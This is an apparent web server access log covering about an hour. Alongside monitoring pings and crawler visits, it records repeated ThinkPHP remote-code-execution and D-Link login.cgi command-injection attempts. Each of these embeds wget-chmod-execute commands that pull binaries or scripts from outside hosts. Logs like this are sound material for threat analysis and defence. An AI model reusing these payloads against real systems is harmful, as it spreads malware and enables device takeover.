212.91.246.72 - - [06/Feb/2020:18:02:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:03:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:04:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.76.208.32 - - [06/Feb/2020:18:04:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:18:05:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
156.209.216.36 - - [06/Feb/2020:18:06:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
156.209.216.36 - - [06/Feb/2020:18:06:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:18:06:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.78.34.66 - - [06/Feb/2020:18:06:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.28.111.56 - - [06/Feb/2020:18:07:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [06/Feb/2020:18:07:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.213.210 - - [06/Feb/2020:18:08:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
182.244.149.215 - - [06/Feb/2020:18:08:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:18:08:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:09:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:10:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:11:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:12:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:13:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:14:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.226.25.182 - - [06/Feb/2020:18:14:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [06/Feb/2020:18:15:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:16:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.152.95.58 - - [06/Feb/2020:18:17:16 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:18:17:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.27.226.249 - - [06/Feb/2020:18:18:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:18:18:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:19:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:20:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:21:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:22:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:23:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.24.175 - - [06/Feb/2020:18:23:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.161.111.175 - - [06/Feb/2020:18:23:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [06/Feb/2020:18:24:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [06/Feb/2020:18:24:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [06/Feb/2020:18:24:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:18:24:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.161.111.175 - - [06/Feb/2020:18:24:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:18:25:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:26:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:27:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.177.120.141 - - [06/Feb/2020:18:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:18:28:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:29:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:30:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.118.114 - - [06/Feb/2020:18:30:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.68.115.76 - - [06/Feb/2020:18:30:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:18:31:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.133.58 - - [06/Feb/2020:18:32:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:18:32:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:33:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.47.189 - - [06/Feb/2020:18:34:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:18:34:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:35:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:36:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.191.145.11 - - [06/Feb/2020:18:36:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.240.187 - - [06/Feb/2020:18:37:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:18:37:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.209.89 - - [06/Feb/2020:18:37:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:18:38:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.224.172 - - [06/Feb/2020:18:38:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:18:39:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:40:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.109.35.22 - - [06/Feb/2020:18:40:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:18:41:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.238.153 - - [06/Feb/2020:18:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.238.153 - - [06/Feb/2020:18:41:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
140.143.16.158 - - [06/Feb/2020:18:42:09 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
140.143.16.158 - - [06/Feb/2020:18:42:13 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
192.241.238.153 - - [06/Feb/2020:18:42:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
140.143.16.158 - - [06/Feb/2020:18:42:14 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
192.241.238.153 - - [06/Feb/2020:18:42:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
140.143.16.158 - - [06/Feb/2020:18:42:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [06/Feb/2020:18:42:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:43:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.238.153 - - [06/Feb/2020:18:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.238.153 - - [06/Feb/2020:18:43:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.238.153 - - [06/Feb/2020:18:44:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [06/Feb/2020:18:44:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.238.153 - - [06/Feb/2020:18:45:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [06/Feb/2020:18:45:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [06/Feb/2020:18:46:19 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
118.89.144.131 - - [06/Feb/2020:18:46:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
212.91.246.72 - - [06/Feb/2020:18:46:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.238.153 - - [06/Feb/2020:18:46:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
222.186.19.221 - - [06/Feb/2020:18:46:38 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
119.162.193.2 - - [06/Feb/2020:18:47:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:18:47:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.90.188.236 - - [06/Feb/2020:18:47:32 +0100] "\xb2" 501 316 "-" "-"
192.241.238.153 - - [06/Feb/2020:18:48:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [06/Feb/2020:18:48:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:49:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:50:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.216.157.239 - - [06/Feb/2020:18:51:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Seekport Crawler; http://seekport.com/)"
95.216.157.239 - - [06/Feb/2020:18:51:16 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; Seekport Crawler; http://seekport.com/)"
95.216.157.239 - - [06/Feb/2020:18:51:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Seekport Crawler; http://seekport.com/)"
212.91.246.72 - - [06/Feb/2020:18:51:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.20.29.126 - - [06/Feb/2020:18:52:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:18:52:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.202.3.154 - - [06/Feb/2020:18:52:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.69.145.160 - - [06/Feb/2020:18:52:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [06/Feb/2020:18:53:29 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [06/Feb/2020:18:53:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.175.228.49 - - [06/Feb/2020:18:54:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
158.140.170.68 - - [06/Feb/2020:18:54:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:18:54:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
96.126.103.73 - - [06/Feb/2020:18:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:18:55:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:18:56:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.25.177.187 - - [06/Feb/2020:18:56:38 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
85.25.177.187 - - [06/Feb/2020:18:56:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
212.91.246.72 - - [06/Feb/2020:18:57:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
209.159.154.190 - - [06/Feb/2020:18:57:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://94.177.216.74/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
42.118.226.145 - - [06/Feb/2020:18:57:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.194.105.13 - - [06/Feb/2020:18:57:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [06/Feb/2020:18:58:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.67 - - [06/Feb/2020:18:58:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:18:59:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.145.23 - - [06/Feb/2020:19:00:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.25.177.187 - - [06/Feb/2020:19:00:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
212.91.246.72 - - [06/Feb/2020:19:00:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:01:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.25.177.187 - - [06/Feb/2020:19:02:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
89.190.76.126 - - [06/Feb/2020:19:02:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [06/Feb/2020:19:02:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.6.232.78 - - [06/Feb/2020:19:02:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:19:03:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:04:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [06/Feb/2020:19:04:38 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
195.178.102.98 - - [06/Feb/2020:19:05:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.98.131.74 - - [06/Feb/2020:19:05:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:19:05:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
